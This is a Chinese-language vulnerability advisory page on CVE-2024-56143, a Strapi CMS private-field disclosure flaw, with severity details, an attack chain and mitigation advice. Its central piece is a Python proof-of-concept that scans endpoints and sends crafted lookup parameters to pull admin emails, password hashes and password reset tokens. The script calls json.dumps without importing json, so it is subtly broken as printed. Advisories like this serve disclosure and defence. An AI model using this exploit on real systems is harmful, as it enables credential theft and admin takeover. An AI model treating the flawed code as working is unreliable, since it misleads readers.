IPBUF安全漏洞报告
English
CVE-2024-56143 CVSS 8.2 高危

CVE-2024-56143:Strapi文档服务查询私有字段信息泄露漏洞

披露日期: 2025-10-16

漏洞信息

漏洞编号
CVE-2024-56143
漏洞类型
信息泄露/权限绕过
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Strapi CMS

相关标签

信息泄露权限绕过StrapiCMS高危漏洞lookup注入私有字段泄露管理员凭据泄露CVE-2024-56143

漏洞概述

CVE-2024-56143是Strapi开源无头内容管理系统(Headless CMS)中存在的一个高危信息泄露漏洞。该漏洞存在于Strapi的文档服务(Document Service)中,具体涉及lookup操作符对私有字段的查询参数处理不当问题。受影响版本范围为Strapi 5.0.0至5.5.2之前的所有版本。

Strapi作为一款流行的开源内容管理系统,广泛应用于构建API驱动的网站和应用程序。该漏洞的核心问题在于,当攻击者通过精心构造的查询请求,利用lookup参数绕过系统的字段访问控制机制时,可以直接访问到本应受保护的私有字段数据。这些私有字段包括但不限于管理员密码哈希、密码重置令牌(reset tokens)、API密钥以及其他敏感配置信息。

该漏洞的CVSS 3.1评分为8.2分,属于高危级别。其攻击向量为网络攻击(AV:N),攻击复杂度低(AC:L),无需任何特权(PR:N),也无需用户交互(UI:N)。在影响方面,该漏洞对机密性影响为高(C:H),因为攻击者可以直接获取敏感的管理凭据;对完整性影响为低(I:L),因为虽然可以读取敏感数据,但直接修改能力有限;对可用性影响为无(A:N)。该漏洞已在Strapi 5.5.2版本中修复,建议所有受影响的用户尽快升级。

技术细节

该漏洞的技术根源在于Strapi文档服务中lookup操作符的实现缺陷。Strapi的文档服务负责处理对内容类型的CRUD操作,其中lookup操作符用于跨内容类型的关联查询。

正常情况下,Strapi通过字段级别的访问控制策略(Field-level access control)来保护敏感字段。当用户查询某个内容类型时,系统会检查每个字段的访问权限,对于私有字段(如password、resetPasswordToken等),只有经过授权的管理员才能访问。

然而,该漏洞的实现中,lookup操作符在处理关联查询时,未能正确地将访问控制策略应用于通过lookup参数访问的私有字段。具体而言,当攻击者构造包含特定lookup参数的查询请求时,系统会直接返回关联实体中的所有字段数据,包括那些被标记为private的敏感字段。

利用方式如下:攻击者首先识别目标Strapi实例的API端点,然后构造包含恶意lookup参数的查询请求。例如,通过在查询中添加类似`?lookup[admin][fields][0]=password&lookup[admin][fields][1]=resetPasswordToken`的参数,攻击者可以绕过字段级别的权限检查,直接获取管理员用户的密码哈希和密码重置令牌。获取这些凭据后,攻击者可以进一步执行管理员账户接管攻击,完全控制Strapi实例。

攻击链分析

STEP 1
步骤1:目标侦察
攻击者通过公开信息或搜索引擎识别运行Strapi CMS的目标实例,确定其API端点和内容类型结构。
STEP 2
步骤2:构造恶意查询
攻击者精心构造包含lookup参数的HTTP请求,利用文档服务中lookup操作符的缺陷,尝试绕过字段级别的访问控制。
STEP 3
步骤3:提取私有字段
通过发送恶意查询请求,攻击者绕过正常的权限检查机制,成功获取私有字段数据,包括管理员密码哈希、密码重置令牌等敏感信息。
STEP 4
步骤4:凭据利用
攻击者利用获取的管理员密码哈希进行离线破解,或直接使用密码重置令牌重置管理员密码,实现账户接管。
STEP 5
步骤5:完全控制
成功获取管理员权限后,攻击者可以完全控制Strapi实例,包括修改内容、注入恶意代码、窃取所有用户数据等。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target Strapi instance URL TARGET_URL = "http://target-strapi-instance.com" # Step 1: Discover API endpoints def discover_endpoints(base_url): # Common Strapi content types to probe content_types = ["articles", "users", "products", "categories"] endpoints = [] for ct in content_types: url = f"{base_url}/api/{ct}" try: resp = requests.get(url, timeout=5) if resp.status_code == 200: endpoints.append(ct) except requests.exceptions.RequestException: pass return endpoints # Step 2: Exploit lookup operator to access private fields def exploit_lookup(base_url, content_type): """ Craft a request using the lookup parameter to bypass field-level access control and extract private fields like admin passwords and reset tokens. """ # The vulnerable lookup parameter allows accessing private fields # of related entities (e.g., admin users associated with content) exploit_params = { "lookup[admin][fields][0]": "email", "lookup[admin][fields][1]": "password", "lookup[admin][fields][2]": "resetPasswordToken", "lookup[admin][populate]": "*" } url = f"{base_url}/api/{content_type}" headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } try: resp = requests.get(url, params=exploit_params, headers=headers, timeout=10) if resp.status_code == 200: data = resp.json() print(f"[+] Successfully extracted data from {content_type}:") print(json.dumps(data, indent=2)) return data else: print(f"[-] Request failed with status: {resp.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None # Step 3: Use extracted credentials for further exploitation def extract_credentials(data): """Extract admin credentials from leaked data""" credentials = [] if data and "data" in data: for item in data["data"]: if "admin" in item: admin = item["admin"] credentials.append({ "email": admin.get("email"), "password_hash": admin.get("password"), "reset_token": admin.get("resetPasswordToken") }) return credentials if __name__ == "__main__": print("[*] CVE-2024-56143 - Strapi Private Field Disclosure PoC") print(f"[*] Target: {TARGET_URL}") endpoints = discover_endpoints(TARGET_URL) print(f"[*] Discovered endpoints: {endpoints}") for endpoint in endpoints: data = exploit_lookup(TARGET_URL, endpoint) if data: creds = extract_credentials(data) if creds: print(f"[+] Extracted credentials: {creds}")

影响范围

Strapi >=5.0.0, <5.5.2

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)通过反向代理或WAF规则过滤包含lookup参数的API请求;2)限制Strapi管理面板和API端点的网络访问,仅允许可信IP地址访问;3)监控所有管理员账户的异常活动,特别是密码重置和登录行为;4)临时禁用非必要的API端点,减少攻击面;5)定期审查和审计管理员凭据,及时轮换密码和API密钥。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表